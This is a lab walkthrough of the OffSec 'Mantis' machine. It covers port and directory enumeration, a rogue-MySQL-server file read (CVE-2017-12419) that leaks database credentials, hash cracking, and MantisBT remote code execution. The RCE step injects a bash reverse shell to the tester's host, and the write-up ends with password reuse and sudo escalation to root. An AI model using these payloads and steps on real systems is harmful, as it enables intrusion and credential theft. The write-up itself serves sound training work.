Summary #
Using gobuster
on port 80 reveals a /bugtracker
directory. In it an application called MantisBT 2.0
is running. By using a known arbitrary file read exploit (CVE-2017-12419) we can read files on the target, including a configuration file that contain MySQL credentials. Once on MySQL server we find a hash of the administrator
user. Using CrackStation we crack the hash, log into the Mantis application and get initial access as the www-data
user by abusing an RCE bug. Once on the target there is a mysqldump process running with credentials. Because of password reuse we can switch to the mantis
user and escalate our privileges using sudo to the root
user.
Specifications #
- Name: MANTIS
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux mantis 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.209.204
- OFFSEC provided credentials: None
- HASH:
local.txt
:84ab37e90f888b93284cee89ec88de65
- HASH:
proof.txt
:22b27e25fbd4d338d0677dc987c5f760
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir mantis && cd mantis && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 30 13:15 .
drwxrwxr-x 46 kali kali 4096 Aug 30 13:15 ..
drwxrwxr-x 2 kali kali 4096 Aug 30 13:15 enum
drwxrwxr-x 2 kali kali 4096 Aug 30 13:15 exploits
drwxrwxr-x 2 kali kali 4096 Aug 30 13:15 files
drwxrwxr-x 2 kali kali 4096 Aug 30 13:15 tools
drwxrwxr-x 2 kali kali 4096 Aug 30 13:15 uploads
## set bash variable
ip=192.168.209.204
## ping target to check if it's online
ping $ip
PING 192.168.209.204 (192.168.209.204) 56(84) bytes of data.
64 bytes from 192.168.209.204: icmp_seq=1 ttl=61 time=18.7 ms
64 bytes from 192.168.209.204: icmp_seq=2 ttl=61 time=18.5 ms
^C
--- 192.168.209.204 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 18.479/18.579/18.679/0.100 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.209.204:80
Open 192.168.209.204:3306
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-30 13:19 CEST
Initiating Ping Scan at 13:19
Scanning 192.168.209.204 [4 ports]
Completed Ping Scan at 13:19, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:19
Completed Parallel DNS resolution of 1 host. at 13:19, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:19
Scanning 192.168.209.204 [2 ports]
Discovered open port 3306/tcp on 192.168.209.204
Discovered open port 80/tcp on 192.168.209.204
Completed SYN Stealth Scan at 13:19, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.209.204
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-08-30 13:19:59 CEST for 0s
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
80,3306
## use this output in the `nmap` command below:
sudo nmap -T3 -p 80,3306 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 6DC825C260AFEEA86DFCFEE3B99F13BF
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Slick - Bootstrap 4 Template
3306/tcp open mysql syn-ack ttl 61 MariaDB 5.5.5-10.3.34
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.34-MariaDB-0ubuntu0.20.04.1
| Thread ID: 20
| Capabilities flags: 63486
| Some Capabilities: ODBCClient, Support41Auth, ConnectWithDatabase, LongColumnFlag, FoundRows, IgnoreSigpipes, Speaks41ProtocolOld, SupportsLoadDataLocal, SupportsTransactions, DontAllowDatabaseTableColumn, InteractiveClient, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsCompression, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: Y#BbH#p1@-_x]I6pU7Ry
|_ Auth Plugin Name: mysql_native_password
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 6DC825C260AFEEA86DFCFEE3B99F13BF
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Slick - Bootstrap 4 Template
3306/tcp open mysql syn-ack ttl 61 MariaDB 5.5.5-10.3.34
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.34-MariaDB-0ubuntu0.20.04.1
| Thread ID: 20
| Capabilities flags: 63486
| Some Capabilities: ODBCClient, Support41Auth, ConnectWithDatabase, LongColumnFlag, FoundRows, IgnoreSigpipes, Speaks41ProtocolOld, SupportsLoadDataLocal, SupportsTransactions, DontAllowDatabaseTableColumn, InteractiveClient, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsCompression, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: Y#BbH#p1@-_x]I6pU7Ry
|_ Auth Plugin Name: mysql_native_password
Visiting URL: http://192.168.209.204/
, shows us a website called Slick
.

But this doesn’t have much functionality to exploit, so let’s do a gobuster
.
## running `gobuster` on port 80
gobuster dir -t 100 -u http://$ip:80/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt | tee enum/raft-large-dir-raw-80
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.209.204:80/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/js (Status: 301) [Size: 315] [--> http://192.168.209.204/js/]
/fonts (Status: 301) [Size: 318] [--> http://192.168.209.204/fonts/]
/server-status (Status: 403) [Size: 280]
/css (Status: 301) [Size: 316] [--> http://192.168.209.204/css/]
/img (Status: 301) [Size: 316] [--> http://192.168.209.204/img/]
/bugtracker (Status: 301) [Size: 323] [--> http://192.168.209.204/bugtracker/]
<SNIP>
Among the found directories, there is a directory called bugtracker
. When we visit this URL in the browser (http://192.168.209.204/bugtracker
) we get redirected to: http://192.168.209.204/bugtracker/login_page.php
, an application called: MantisBT
(https://github.com/mantisbt/mantisbt).

But what version of this application is running? Looking at the github page of this product, there should be a doc
directory. We could also find this using gobuster
within the /bugtracker/
directory.
## using `gobuster` in the `bugtracker` directory to find subdirectories
gobuster dir -t 100 -u http://$ip:80/bugtracker/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt | tee enum/raft-large-dir-raw-80-bugtracker
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.209.204:80/bugtracker/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 301) [Size: 329] [--> http://192.168.209.204/bugtracker/admin/]
/scripts (Status: 301) [Size: 331] [--> http://192.168.209.204/bugtracker/scripts/]
/plugins (Status: 301) [Size: 331] [--> http://192.168.209.204/bugtracker/plugins/]
/css (Status: 301) [Size: 327] [--> http://192.168.209.204/bugtracker/css/]
/images (Status: 301) [Size: 330] [--> http://192.168.209.204/bugtracker/images/]
/js (Status: 301) [Size: 326] [--> http://192.168.209.204/bugtracker/js/]
/config (Status: 301) [Size: 330] [--> http://192.168.209.204/bugtracker/config/]
/api (Status: 301) [Size: 327] [--> http://192.168.209.204/bugtracker/api/]
/lang (Status: 301) [Size: 328] [--> http://192.168.209.204/bugtracker/lang/]
/library (Status: 301) [Size: 331] [--> http://192.168.209.204/bugtracker/library/]
/doc (Status: 301) [Size: 327] [--> http://192.168.209.204/bugtracker/doc/]
/core (Status: 301) [Size: 328] [--> http://192.168.209.204/bugtracker/core/]
/fonts (Status: 301) [Size: 329] [--> http://192.168.209.204/bugtracker/fonts/]
/vendor (Status: 301) [Size: 330] [--> http://192.168.209.204/bugtracker/vendor/]
<SNIP>
Visiting this URL in browser http://192.168.209.204/bugtracker/doc/
gives us a directory listing. Clicking around gets us a PDF (http://192.168.209.204/bugtracker/doc/en-US/Admin_Guide/MantisBT-2.0-Admin_Guide-en-US.pdf
) where it says MantisBT 2.0
.

Looking at the admin warning on the login screen, it looks like a new installation of this application. Reviewing this URL (https://mantisbt.org/docs/master/en-US/Admin_Guide/html-desktop/#admin.install.new), there could be a installation script on this location (translated to our content): http://192.168.209.204/bugtracker/admin/install.php
, and there is.

Searching the internet for an exploit, we can find this issue: https://mantisbt.org/bugs/view.php?id=23173, with this exploit: https://github.com/allyshka/Rogue-MySql-Server/blob/master/roguemysql.php. It’s a arbitrary file read exploit (CVE-2017-12419). First we download the exploit, get our local IP address and run the exploit to setup a rogue MySQL server. Once setup, we can abuse the install.php to connect to our rogue MySQL server and read arbitrary files on the target. In this example we try to read the /etc/passwd
file. And indeed we can read this file.
## change directory
cd exploits
## download the exploit
wget https://raw.githubusercontent.com/allyshka/Rogue-MySql-Server/refs/heads/master/roguemysql.php
## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::5094:2f91:6b35:4a28/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## run the exploit using `php`, enter the filename to read, example `/etc/passwd`
php roguemysql.php
Enter filename to get [/etc/passwd] > /etc/passwd
[.] Waiting for connection on 0.0.0.0:3306
## in the browser send the trigger to connect to our rogue MySQL server
http://192.168.209.204/bugtracker/admin/install.php?install=3&hostname=192.168.45.204
## receive the file `/etc/passwd`
php roguemysql.php
Enter filename to get [/etc/passwd] > /etc/passwd
[.] Waiting for connection on 0.0.0.0:3306
[+] Connection from 192.168.209.204:53196 - greet... auth ok... some shit ok... want file...
[+] /etc/passwd from 192.168.209.204:53196:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mantis:x:1000:1000::/home/mantis:/bin/bash
Now let’s try to read the config_inc.php
file we’ve seen in the http://192.168.209.204/bugtracker/admin/install.php
output. According to the MantisBT github page (https://github.com/mantisbt/mantisbt/tree/master/config), it should be at this location (translated to our context): /var/www/html/bugtracker/config/config_inc.php
## start the exploit and enter the file we want: `/var/www/html/bugtracker/config/config_inc.php`
php roguemysql.php
Enter filename to get [/etc/passwd] > /var/www/html/bugtracker/config/config_inc.php
[.] Waiting for connection on 0.0.0.0:3306
## in the browser send the trigger to connect to our rogue MySQL server
http://192.168.209.204/bugtracker/admin/install.php?install=3&hostname=192.168.45.204
## receive the file
php roguemysql.php
Enter filename to get [/etc/passwd] > /var/www/html/bugtracker/config/config_inc.php
[.] Waiting for connection on 0.0.0.0:3306
[+] Connection from 192.168.209.204:53204 - greet... auth ok... some shit ok... want file...
[+] /var/www/html/bugtracker/config/config_inc.php from 192.168.209.204:53204:
<?php
$g_hostname = 'localhost';
$g_db_type = 'mysqli';
$g_database_name = 'bugtracker';
$g_db_username = 'root';
$g_db_password = 'SuperSequelPassword';
$g_default_timezone = 'UTC';
$g_crypto_master_salt = 'OYAxsrYFCI+xsFw3FNKSoBDoJX4OG5aLrp7rVmOCFjU=';
We got MySQL credentials of root:SuperSequelPassword
. Let’s try to use these to log into MySQL on port 3306. Use the --skip-ssl
option to disable SSL. Indeed, we can connect to the MySQL server. Once connected to the bugtracker
database, we find a hash (c7870d0b102cfb2f4916ff04e47b5c6f
) of the administrator
user in the mantis_user_table
.
## run mysql as `root` user, type password when asked: `SuperSequelPassword`
mysql -u root -h $ip -P 3306 -p --skip-ssl
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 318
Server version: 10.3.34-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
## list all databases
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| bugtracker |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.020 sec)
## switch to `bugtracker` database
MariaDB [(none)]> use bugtracker;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
## list all tables in `bugtracker` database
MariaDB [bugtracker]> show tables;
+-----------------------------------+
| Tables_in_bugtracker |
+-----------------------------------+
| mantis_api_token_table |
| mantis_bug_file_table |
| mantis_bug_history_table |
| mantis_bug_monitor_table |
| mantis_bug_relationship_table |
| mantis_bug_revision_table |
| mantis_bug_table |
| mantis_bug_tag_table |
| mantis_bug_text_table |
| mantis_bugnote_table |
| mantis_bugnote_text_table |
| mantis_category_table |
| mantis_config_table |
| mantis_custom_field_project_table |
| mantis_custom_field_string_table |
| mantis_custom_field_table |
| mantis_email_table |
| mantis_filters_table |
| mantis_news_table |
| mantis_plugin_table |
| mantis_project_file_table |
| mantis_project_hierarchy_table |
| mantis_project_table |
| mantis_project_user_list_table |
| mantis_project_version_table |
| mantis_sponsorship_table |
| mantis_tag_table |
| mantis_tokens_table |
| mantis_user_pref_table |
| mantis_user_print_pref_table |
| mantis_user_profile_table |
| mantis_user_table |
+-----------------------------------+
32 rows in set (0.017 sec)
## get details on `mantis_user_table` table
MariaDB [bugtracker]> describe mantis_user_table;
+-----------------------------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------------------------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| username | varchar(191) | NO | UNI | | |
| realname | varchar(191) | NO | | | |
| email | varchar(191) | NO | MUL | | |
| password | varchar(64) | NO | | | |
| enabled | tinyint(4) | NO | MUL | 1 | |
| protected | tinyint(4) | NO | | 0 | |
| access_level | smallint(6) | NO | MUL | 10 | |
| login_count | int(11) | NO | | 0 | |
| lost_password_request_count | smallint(6) | NO | | 0 | |
| failed_login_count | smallint(6) | NO | | 0 | |
| cookie_string | varchar(64) | NO | UNI | | |
| last_visit | int(10) unsigned | NO | | 1 | |
| date_created | int(10) unsigned | NO | | 1 | |
+-----------------------------+------------------+------+-----+---------+----------------+
14 rows in set (0.020 sec)
## select specific columns from this table
MariaDB [bugtracker]> select id, username, email, password from mantis_user_table;
+----+---------------+----------------+----------------------------------+
| id | username | email | password |
+----+---------------+----------------+----------------------------------+
| 1 | administrator | root@localhost | c7870d0b102cfb2f4916ff04e47b5c6f |
+----+---------------+----------------+----------------------------------+
1 row in set (0.018 sec)
Using CrackStation (https://crackstation.net/) we are able to crack the hash to these following credentials: administrator:prayingmantis
.

Finally, we can login (http://192.168.209.204/bugtracker/login_page.php
) using these credentials (administrator:prayingmantis
) in the MantisBT application.

Searching the internet again for a RCE for this version of MantisBT we can find: https://mantisbt.org/bugs/view.php?id=26091. In this issue, there are steps provided to reproduce the RCE. So, let’s do this. Navigate to Manage / Manage Configuration / Configuration Report
. Once on this page, scroll down and in the Create Configuration Option
frame, enter in the text field at: Configuration Option
, relationship_graph_enable
and in the text field at Value
, 1
. Next, click on the Create Configuration Option
.

Before continuing we first need to get our local IP address on tun0 and setup a listener.
## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::5094:2f91:6b35:4a28/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a listener
nc -lvnp 80
listening on [any] 80 ...
Let’s continue. As shown in the image below, the database configuration has been added. Now create a new one. Enter in the text field at: Configuration Option
, dot_tool
and in the text field at Value
, bash -c 'bash -i >& /dev/tcp/192.168.45.204/80 0>&1';
. Next, click on the Create Configuration Option
.

Once done, there should be two entries.

As described in the issue we can trigger this remote command execution by going to this URL (translated to our context): http://192.168.209.204/bugtracker/workflow_graph_img.php
. Once triggered, we get initial access as the www-data
user on the /var/www/html/bugtracker
directory.
## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.209.204] 57212
bash: cannot set terminal process group (1216): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mantis:/var/www/html/bugtracker$
## find `local.txt` on the filesystem
www-data@mantis:/var/www/html/bugtracker$ find / -iname 'local.txt' 2>/dev/null
/home/mantis/local.txt
## print `local.txt`
www-data@mantis:/var/www/html/bugtracker$ cat /home/mantis/local.txt
84ab37e90f888b93284cee89ec88de65
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
www-data@mantis:/var/www/html/bugtracker$ export TERM=xterm
www-data@mantis:/var/www/html/bugtracker$ stty columns 200 rows 200
In the /home/mantis/
directory there is a subdirectory called db_backups
. In it, there is a script called backup.sh
which we cannot access. Perhaps a process is running that runs this script. Let’s run pspy64
to see what’s running on the target. Download and upload pspy to the target and run it to see if there are processes running that we can abuse. Go to: https://github.com/DominicBreuker/pspy, click on releases
and select pspy64
. Move the file to the uploads directory, startup a local webserver and on the target, download pspy64 and run it.
## change directory
cd uploads
## move the file from the local downloads directory to the uploads directory
mv ~/Downloads/pspy64 .
## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::5094:2f91:6b35:4a28/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start a local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on the target
## change directory
www-data@mantis:/home/mantis$ cd /var/tmp
www-data@mantis:/var/tmp$
## download pspy64 using wget
www-data@mantis:/var/tmp$ wget http://192.168.45.204/pspy64
--2025-08-30 14:30:29-- http://192.168.45.204/pspy64
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
pspy64 0%[ pspy64 52%[========================================================> pspy64 100%[=============================================================================================================>] 2.96M 12.3MB/s in 0.2s
2025-08-30 14:30:29 (12.3 MB/s) - 'pspy64' saved [3104768/3104768]
## set execution bit
www-data@mantis:/var/tmp$ chmod +x pspy64
## run pspy64
www-data@mantis:/var/tmp$ ./pspy64
The output of pspy64 shows a password BugTracker007
being used in a mysqldump command.
## output `pspy64`
www-data@mantis:/var/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP>
2025/08/30 14:31:01 CMD: UID=1000 PID=10453 | mysqldump -u bugtracker -pBugTracker007 bugtracker
2025/08/30 14:31:01 CMD: UID=1000 PID=10452 | bash /home/mantis/db_backups/backup.sh
2025/08/30 14:31:01 CMD: UID=1000 PID=10451 | /bin/sh -c bash /home/mantis/db_backups/backup.sh
Perhaps password reuse is in play. Let’s see which users there are on the target and have a shell. Indeed, we can switch to the mantis
user, using the password BugTracker007
. Printing the sudo privileges of the mantis
user, we can see this user can run all commands with sudo, including switching to the root
user and escalate our privileges.
## print users with a shell
www-data@mantis:/var/tmp$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
mantis:x:1000:1000::/home/mantis:/bin/bash
## switch user to `mantis`
www-data@mantis:/var/tmp$ su mantis
Password:
mantis@mantis:/var/tmp$
## list sudo privileges of the `mantis` user
mantis@mantis:/var/tmp$ sudo -l
[sudo] password for mantis:
Matching Defaults entries for mantis on mantis:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mantis may run the following commands on mantis:
(ALL : ALL) ALL
## switch to `root` user, using sudo
mantis@mantis:/var/tmp$ sudo su -
root@mantis:~#
## print `proof.txt`
root@mantis:~# cat /root/proof.txt
22b27e25fbd4d338d0677dc987c5f760
References #
[+] https://github.com/mantisbt/mantisbt
[+] https://mantisbt.org/docs/master/en-US/Admin_Guide/html-desktop/#admin.install.new
[+] https://mantisbt.org/bugs/view.php?id=23173
[+] https://github.com/allyshka/Rogue-MySql-Server/blob/master/roguemysql.php
[+] https://raw.githubusercontent.com/allyshka/Rogue-MySql-Server/refs/heads/master/roguemysql.php
[+] https://github.com/mantisbt/mantisbt/tree/master/config
[+] https://crackstation.net/
[+] https://mantisbt.org/bugs/view.php?id=26091
[+] https://github.com/DominicBreuker/pspy